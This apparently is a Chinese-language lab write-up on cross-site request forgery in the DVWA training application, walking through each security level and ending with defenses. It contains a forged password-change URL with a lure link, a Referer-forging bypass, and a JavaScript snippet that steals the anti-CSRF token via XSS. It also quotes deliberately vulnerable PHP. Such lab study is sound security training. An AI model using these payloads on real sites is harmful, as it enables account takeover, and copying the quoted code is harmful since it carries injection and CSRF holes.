目录
简介
跨站请求伪造(CSRF)是Web安全领域最常见的高危漏洞之一。本文将以DVWA(Damn Vulnerable Web Application)为实验平台,通过代码审计、漏洞利用和防御方案三个维度,全面解析CSRF漏洞的攻防技术。
一、CSRF漏洞原理与技术背景
1.1 CSRF攻击机制
CSRF(Cross-Site Request Forgery)是一种利用受害者已认证状态的非授权操作攻击。其核心攻击流程为:
-
用户登录受信任网站A
-
未注销情况下访问恶意网站B
-
网站B伪造针对网站A的合法请求
-
用户浏览器携带认证信息自动执行该请求
1.2 DVWA CSRF模块分析
DVWA的CSRF模块模拟了密码修改功能,包含四个安全等级:
-
Low:无任何防护
-
Medium:基础Referer检查
-
High:Anti-CSRF Token
-
Impossible:多因素认证
二、Low级别漏洞分析与利用
2.1 关键代码
// dvwa/vulnerabilities/csrf/source/low.php
if( isset( $_GET[ 'Change' ] ) ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
// 直接修改密码
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert) or die(...);
}
}
漏洞点:
-
使用GET方法修改密码
-
无Token验证
-
无Referer检查
2.2 漏洞利用实战
攻击步骤:
1.输入密码更改时,发现get形式传参
2.构造恶意URL:
http://192.168.21.4/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change
3.社工诱导点击:
<a href="http://192.168.21.4/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" >点击领取红包</a>
发现密码已经更改成功
三、Medium级别防护绕过
3.1 关键代码
// medium.php
if( stripos( $_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ] ) === false ) {
die("请求必须来自同一域名");
}
防护机制:
-
检查HTTP Referer头
-
要求包含服务器名
3.2 绕过技术
正常使用csrf poc已经不能成功更改密码了,提示“That request didn't look correct.”
Referer头伪造,Referer添加网站地址即可进行csrf更改
四、High级别进阶攻击
4.1 Token防护机制
// high.php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
4.2 结合XSS绕过
// 通过XSS先获取Token var xhr = new XMLHttpRequest(); xhr.onload = function() { var token = this.responseText.match(/user_token' value='(.*?)'/)[1]; // 构造CSRF请求 var img = new Image(); img.src = "http://192.168.21/dvwa/...&user_token="+token; }; xhr.open("GET", "/dvwa/vulnerabilities/csrf/"); xhr.send();
五、Impossible级别防护分析
5.1 关键代码
// impossible.php
$pass_curr = $_POST[ 'password_current' ];
if( !hash_equals( $user_pass, md5( $pass_curr ) ) ) {
die("Current password incorrect");
}
防护策略:
-
强制POST方法
-
要求验证当前密码
-
使用一次性Token
-
密码哈希比对
六、CSRF防御最佳实践
-
Anti-CSRF Token:
-
每个表单生成唯一Token
-
服务端严格校验
-
-
SameSite Cookie属性:
setcookie('sessionid', 'value', [ 'samesite' => 'Strict', 'secure' => true ]);
-
关键操作二次认证:
-
短信/邮件验证
-
生物识别
-
七、总结
安全级别 | 防护措施 | 攻击难度 |
---|---|---|
Low | 无防护 | ★☆☆☆☆ |
Medium | Referer检查 | ★★☆☆☆ |
High | CSRF Token | ★★★☆☆ |
Impossible | 多因素认证 | ★★★★★ |